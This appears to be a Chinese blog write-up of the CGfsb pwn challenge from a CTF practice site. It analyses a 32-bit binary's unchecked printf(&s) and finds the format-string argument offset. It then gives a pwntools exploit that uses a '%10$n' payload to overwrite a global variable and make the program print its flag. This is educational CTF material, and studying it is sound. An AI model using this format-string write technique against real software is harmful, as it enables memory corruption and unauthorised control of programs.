攻防世界PWN题 CGfsb

题目地址

拿到题目后,首先用 file 查看文件类型,可以发现是 ELF 32-bit 类型的文件

接下来使用 checksec 来查看文件开启了哪些保护,可得到如下内容:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

执行一下来看效果,发现其基本流程如下

please tell me your name:
<输入名>
leave your message please:
<输入信息>
hello <输入的名字>
your message is:
<输入的信息>
Thank you!

放到 ida 里反汇编得到如下结果

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int buf; // [esp+1Eh] [ebp-7Eh]
  int v5; // [esp+22h] [ebp-7Ah]
  __int16 v6; // [esp+26h] [ebp-76h]
  char s; // [esp+28h] [ebp-74h]
  unsigned int v8; // [esp+8Ch] [ebp-10h]

  v8 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf = 0;
  v5 = 0;
  v6 = 0;
  memset(&s, 0, 0x64u);
  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}

简单来分析一下,可得到如下结论:

  1. buf, v5, v6 三个变量构成的 10 个字节空间被用来储存用户输入的名字,程序利用 read(0, &buf, 0xAu); 语句来读取用户的输入,整个空间已经被初始化为 0
  2. s 数组具有 100 个字节的空间,用于储存用户输入的信息,程序利用 fgets(&s, 100, stdin); 语句来读取用户的输入,整个空间已经被初始化为 0
  3. v8 变量用于存储 canary ,前面通过 checksec 已经看到该 elf 文件开启了栈保护,这里即是用它来实现
  4. 用户需要通过某种手段将 pwnme 变量的值改成 8 ,通过查看可知该变量位于 bss 段中,默认值应该是 0

因为开启了 canary 以及 pwnme 不在栈中,同时在读取输入时又严格地控制了读取的最大数量,那么通过栈溢出攻击就不可行了;在仔细审查反汇编的代码后,可以发现在 23 行有 printf(&s); 这条语句,而 s 具有的空间高达 100 字节,同时通过前面的 checksec 检查可以看到该程序 未开启 FORTIFY 保护,因此基本可以判断该题属于 格式化字符串攻击 类型,利用 "%m$n" 占位符来将 8 写入 pwnme 所在的内存

让我们将 printf 的调用记作 printf(format, args...),下面的内容以此为基础展开

首先要拿到的是 format 在栈中的地址相当于 args 中的第几个参数的地址,观察 main 的汇编代码可以发现,printf 函数的参数均被压入栈中(据说 32 位 ELF 均是这样实现的调用,如果有不同的意见欢迎在下面评论交流~),那么这里提供三种方式来获得上面问题的结果:

  1. 在输入 message 时写入 AAAA,%8x,%8x,%8x,%8x,%8x,%8x,%8x,%8x,%8x,%8x 后观察 your message is: 下面的输出,寻找 41414141 相对于 AAAA 是第几个即可;原理在于 printf 目前仅根据 format 来输出而不会判断 args 中是否有对应的参数,那么可以连续写入输出占位符来将栈中的内容输出,这里以 16 进制输出内容,“AAAA” 的 ASCII 码的十六进制是 ”41414141“ ,所以只要查看它出现的位置即可获得上面问题的答案,当然为了避免栈中恰好存在 41414141 这种低概率的巧合,也可以多试几组数据
  2. 在上面的反汇编代码中可以看到 char s; // [esp+28h] [ebp-74h] 这条语句,用 28h/4 得到的内容即可;原理在于该程序将参数全部压栈,而通过汇编代码可以发现 [esp] 处被存放了 format ,那么 [esp+28h] 就是 s 相对于 format 所在的位置,而因为是 32 位的程序,所以每次处理 4 个字节的数据,这样在除以 4 后就得到了上面问题的答案
  3. 在 gdb 中对 <main+256> 处,即最后一个 printf 调用之前下断点,运行至该处后查看栈中内容,用 esp 内的值减掉 esp 所在的位置,得到的结果除以 4 即可;原理同第 2 种方法

执行后可以发现,上面问题的答案是第 10 个参数

由于程序没有开启 PIE ,那么我们可以直接在 ida 中找到 pwnme 的地址,或者用 pwntools 来拿到,从而构造 exp 如下

from pwn import *

r = remote(远程ip, 远程port)
elf = ELF(本地 elf 地址)

payload = p32(elf.symbols['pwnme'])+b"0000%10$n"

r.recv()
r.sendline('Yuren')

r.recv()
r.sendline(payload)
print(r.recv())
print(r.recv())

因为 p32 得到的 pwnme 的地址占据 4 个字节,所以我们只需要在 "%10$n" 前再填入 4 个字节的任意内容即可,这里因为空间够用以及数据量小就直接写出,其实也可以用 "%4x" 的形式,之前看其他题的 writeup 时有人用十进制形式(即 x 换成 d)输出,这其实是不推荐的,因为栈中的内容不确定,如果它恰好可以被解读为负数的话,实际输出的内容的长度就会因为负号的原因而+1,导致攻击失败

posted @ 2020-04-17 16:30  愚人呀  阅读(562)  评论(0编辑  收藏  举报